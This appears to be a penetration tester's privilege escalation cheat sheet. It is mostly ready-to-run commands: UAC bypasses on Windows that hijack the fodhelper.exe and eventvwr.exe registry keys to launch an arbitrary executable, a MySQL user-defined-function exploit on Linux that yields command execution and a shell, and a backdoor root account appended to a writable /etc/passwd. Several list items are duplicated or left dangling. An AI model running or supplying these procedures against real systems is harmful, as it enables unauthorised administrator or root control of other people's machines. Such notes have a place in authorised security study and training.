Privilege Escalation
Enumerate: Post-Exploitation Enumeration
HINT
Also take the information you have enumerated on pervious enumeration phase into account!
Windows
Local Windows Privilege Escalation Checklist
UAC Bypass
-
Google for
{OS-NAME} + {OS-BUILD} + "UAC Bypass""
fodhelper.exe
- Identify where fodhelper.exe is:
where /r c:\ fodhelper.exe
Get-ChildItem -Path C:\ -Filter fodhelper.exe -Recurse -ErrorAction SilentlyContinue -Force
- Create the Key:
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
- Set the Type:
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
- Test
mkdir C:\temp
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd /c echo test > C:\temp\test.txt" /f
REG QUERY HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\Windows\System32\fodhelper.exe
dir C:\temp
- Use
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd /c start C:\temp\evil.exe" /f
REG QUERY HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\Windows\System32\fodhelper.exe
eventvwr.exe
- Automated Script: Invoke-EventVwrBypass.ps1
- Manual
- Identify where eventvwr.exe is:
where /r c:\ eventvwr.exe
Get-ChildItem -Path C:\ -Filter eventvwr.exe -Recurse -ErrorAction SilentlyContinue -Force
- Create the Key:
REG ADD HKCU\Software\Classes\mscfile\shell\open\command
- Set the Type:
REG ADD HKCU\Software\Classes\mscfile\Shell\open\command /v DelegateExecute /t REG_SZ
- Test
mkdir C:\temp
REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd /c echo test > C:\temp\test.txt" /f
REG QUERY HKCU\Software\Classes\mscfile\Shell\open\command
C:\Windows\System32\eventvwr.exe
dir C:\temp
- Use
REG ADD HKCU\Software\Classes\mscfile\Shell\open\command /d "cmd /c start C:\temp\evil.exe" /f
REG QUERY HKCU\Software\Classes\mscfile\Shell\open\command
C:\Windows\System32\eventvwr.exe
- Identify where eventvwr.exe is:
Linux
Linux Privilege Escalation Checklist
- MySQL User Defined Functions
- Conditions
- mysql is run by root or a privileged user:
ps aux | grep mysql
- valid authN to mysql (e.g.:
root/NOPASS
) show variables like '%secure_file_priv%';
needs to be empty
- mysql is run by root or a privileged user:
- How To
- Download the exploit code:
searchsploit -m 1518
- File Transfer Techniques
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
cp 1518.so /usr/lib
mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/{USERNAME}/1518.so'));
select * from foo into dumpfile '/usr/lib/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('id > /tmp/out; chown {USERNAME} /tmp/out');
\! sh
cat /tmp/out
- Download the exploit code:
- How To
- Download the exploit code:
searchsploit -m 1518
- Transfer it to the host
- Compile it:
gcc -g -c 1518.c
- Make the shared library:
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
- Copy the shared library to a accessible folder:
cp 1518.so /usr/lib
- Authenticate with NOPASS:
mysql -u root -p
- Switch to mysql database:
use mysql;
- Create a table to hold the exploit code:
create table foo(line blob);
- Import the exploit by inserting its contents into the table:
insert into foo values(load_file('/home/j0hn/TILL_NO_LOOK_SPOILER/1518.so'));
- Select the binary contents in the shared library and dump them onto the plugins directory:
select * from foo into dumpfile '/usr/lib/1518.so';
- Call the exploit by creating a function that invokes it:
create function do_system returns integer soname '1518.so';
- Confirm the function is present in mysql:
select * from mysql.func;
- Execute:
select do_system('id > /tmp/out; chown {USERNAME} /tmp/out');
- Start a shell:
\! sh
- Confirm the id output:
cat /tmp/out
- Switch to mysql database:
- Download the exploit code:
- Conditions
/etc/passwd Is Writeable
- Create a new password hash with
openssl passwd -1 -salt ignite P@ssw0rd
. In this case for the passwordP@ssw0rd
- Append that hash to the passwd file like this:
echo 'till:$1$ignite$s45Y./FVrOdF58ZmZIgti.:0:0:root:/root:/bin/bash' >> /etc/passwd
in this format:till:{HASH}:0:0:root:/root:/bin/bash
- Verify that your entry is there:
cat /etc/passwd
- Change user:
su till
- Type
P@ssw0rd
into the prompt
You Are part of the Docker Groups and Docker is Being Executed as Root
Relevant Note(s): Penetration Testing